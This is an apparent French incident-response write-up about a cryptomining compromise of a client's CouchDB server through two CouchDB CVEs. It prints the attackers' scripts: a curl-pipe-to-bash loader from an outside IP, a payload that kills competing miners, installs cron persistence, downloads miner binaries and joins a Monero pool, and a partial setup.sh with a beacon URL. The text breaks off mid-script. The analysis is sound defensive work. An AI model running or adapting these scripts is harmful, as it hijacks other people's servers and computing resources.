Avec l'émergence et le succès des crypto monnaies, une nouvelle activité frauduleuse tend aujourd'hui à se développer, dans le dos des administrateurs systèmes : le minage. Le minage consiste à transformer du temps de calcul CPU en monnaie virtuelle, Bitcoins ou autres. Les ressources de vos machines deviennent donc la cible de pirates d'un nouveau genre qui s'adonnent à cette activité qui peut s'avérer fort lucrative. En février dernier, une attaque a été lancée, nous avons été confrontés en cette occasion au cas d'un client qui en a été victime, nous vous proposons donc de partager avec vous ce petit retour d'expérience.
Les symptômes
Nous avons été contacté par une société de développement web qui se plaignait de grosses lenteurs sur son serveur de bases de données. Sa stack se composait principalement d'un serveur Couchdb, un serveur MongoDB, un serveur MySQL, de Docker, de KVM pour la partie virtualisation, ainsi que de sites web Drupal et Wordpress. Doté d'une pile logicielle moderne mais chargée et d'un système d'exploitation qui n'est plus maintenu... toutes les conditions étaient réunies pour qu'une compromission se produise. Voici comment.
Détection et diagnostic
Une simple analyse des processus laissait apparaître un processus nommé supsplk tournant avec les droits de l'utilisateur CouchDB faisait état d'une consommation CPU anormale (667,8%)
couchdb 20 0 861740 19616 2308 S 667,8 0,1 89772:00 supsplk
Notez que ce processus tourne sous le user couchdb, ce qui nous donne une sérieuse indication sur l'origine de la compromission. Il s'agit probablement d'un problème lié à CouchDB, en l'occurence le CVE-2017-12635 . L'exploitation de cette vulnérabilité permet l'envoi de documents _user menant à une simple escalation de privilège incluant le rôle _admin. Une seconde vulnérabilité, le CVE-2017-12636 faisant actuellement l'objet d'une ré-analyse de criticité. Cette vulnérabilité permet à un utilisateur Apache CouchDB doté du rôle _admin d'exécuter arbitrairement des commandes shell. Les deux vulnérabilités portent sur des versions de CouchDB avant les versions 1.7.0 et pour la branche 2.x avant 2.1.1.
A ce stade, nous avons une forte suspicion sur le fait que ces deux vulnérabilités combinées sont la cause de la compromission de la machine, qui ne semble pas rootée et avec ce processus qui tourne au nom de l'utilisateur CouchDB.
Le p0wn
Un fichier trouvé dans le /tmp et nommé 3.sh
# cat 3.sh curl -s http://158.69.xxx.xxx:8220/logo3.jpg | bash -s
Ce script lance la commande curl pour télécharger le payload distant localisé sur un serveur compromis et nommé logo3.jpg. Il ne s'agit évidemment pas d'une image, mais d'un shell script. Le payload n'étant pas même encodé, on peut voir ce qu'il fait exactement, en voici un extrait (NB: l'hébergeur de la machine compromise hébergeant les fichiers servant à infecter d'autres machine a été prévenu par nos soins et a rapidement fait le nécessaire pour nettoyer cette machine) :
ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "snapd"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "mysql_dump"|awk '{print $2}'|xargs kill -9 crontab -r || true && \ echo "* * * * * curl -s http://158.69.xxx.xxx:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \ crontab /tmp/cron || true && \ rm -rf /tmp/cron || true && \ docker pause `docker ps|grep kube-apis |awk '{print $1}'` docker pause `docker ps|grep nginx78 |awk '{print $1}'` curl -o /var/tmp/config.json http://158.69.xxx.xxx:8220/config_1.json curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/gcc chmod 777 /var/tmp/supsplk cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$(($proc+1)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./supsplk -c config.json -t `echo $cores` >/dev/null & fi ps -fe|grep supsplk |grep -v grep if [ $? -eq 0 ] then pwd else curl -o /var/tmp/config.json http://158.69.xxx.xxx:8220/c1.json curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/minerd chmod 777 /var/tmp/supsplk cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$(($proc+1)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./supsplk -c config.json -t `echo $cores` >/dev/null & fi if [ $? -eq 0 ] then pwd else curl -o /var/tmp/config.json http://158.69.xxx.xxx:8220/kworker.json curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/atd2 chmod 777 /var/tmp/supsplk cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$(($proc+1)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./supsplk -c config.json -t `echo $cores` >/dev/null & fi if [ $? -eq 0 ] then pwd else curl -o /var/tmp/config.json http://158.69.xxx.xxx:8220/kworker.json curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/atd3 chmod 777 /var/tmp/supsplk cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$(($proc+1)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./supsplk -c config.json -t `echo $cores` >/dev/null & fi ps -fe|grep supsplk |grep -v grep if [ $? -eq 0 ] then pwd else curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/yam chmod 777 /var/tmp/supsplk cd /var/tmp nohup ./supsplk -c x -M stratum+tcp://xxxxxxxxxxxxxxxxxxxxxxxxxxx:x@monerohash.com:3333/xmr >/dev/null & fi echo "runing....."
On ira donc retrouver nos fichiers malicieux téléchargés par ce script dans le répertoire /var/tmp/
Toujours dans le répertoire /tmp on trouve d'autres fichiers suspects :
root@nsxxxxxs :/tmp# ls 3.sh hhh-xxxxxxxxxxxxxxxxxxxxxxxxxxx.1ock setupsh.lock tmpfile BoomBoom hhh-xxxxxxxxxxxxxxxxxxxxxxxxxxx.1ock Silence tmp.txt cpu_stats setup.sh systemd-private-xxxxxxxxxxxxxxxxxxxxxxxxxxx-systemd-timesyncd.service-ZFZAjf
-
Le binaire nommé BoomBoom contient une partie du cryptominer.
-
Idem pour le fichier nommé Silence dans le même répertoire
-
Idem pour le binaire jaav localisé dans le /var/tmp :
-
Comme le binaire vpz lui aussi déployé dans le /var/tmp :
-
Et enfin le binaire supsplk toujours dans le /var/tmp :
D'autres fichiers de configuration sont appelés depuis un site russe probablement compromis, depuis le script setup.sh :
kill -9 13090 #!/bin/bash # find a good writable path self="/tmp/setup.sh" paths=("/var/tmp" "/tmp" "${PWD}") workdir="" files="http://mms.xxxxxxxxxxx.ru/includes/libraries/files.tar.gz" notifyurl="http://mms.xxxxxxxxxxx.ru/includes/libraries/notify.php?p=sf" product="sf" setupurl="http://mms.xxxxxxxxxxx.ru/includes/libraries/getsetup.php?p=sf" lockfile="/tmp/setupsh.lock" notify () { curl -s -F "msg=$1" "${notifyurl}" > /dev/null 2>&1 } #make sure we're only running one instance if [ -f "$lockfile" ]; then exit; fi #lock touch $lockfile for i in ${paths[@]}; do if [ -w "${i}" ]; then workdir=${i} break fi done # if no writable dir found if [ -z "$workdir" ]; then notify "no write" exit fi # kill old instances of xmrig if [[ $(ps -ef | grep xmrig | grep -v grep | wc -l) != 0 ]]; then notify "xmrig found" killall xmrig fi # save current crontab to a file cronfile="${workdir}/.crontab.tmp" crontab -l > "${cronfile}" # remove old /var/tmp/check-****.sh from cron sed -i '/\/var\/tmp\/check-/d' "${cronfile}" # check if we already have cron setup if ! grep -q "${setupurl}" "${cronfile}"; then # setup new cron if needed echo "51 3,6,9,12,15,18,21 * * * curl -s \"${setupurl}\"" | bash"" > ""${cronfile}"" # report to hq notify ""Cron installed"" fi crontab ""${cronfile}"" rm -f ""${cronfile}"" # check if xmrig is where we want it to be - $workdir/.X1M-Unix xmrigdir=""${workdir}/.X1M-Unix"" if [ ! -d ""${xmrigdir}"" ]; then # if can't find xmrig - download new mkdir ""${xmrigdir}"" fi download=0 # check if we have executable if [ ! -f ""${xmrigdir}/fs-manager"" ]; then notify ""fs-manager not found"" download=1 else notify ""fs-manager found"" # verify config is up to date # if not - kill xmrig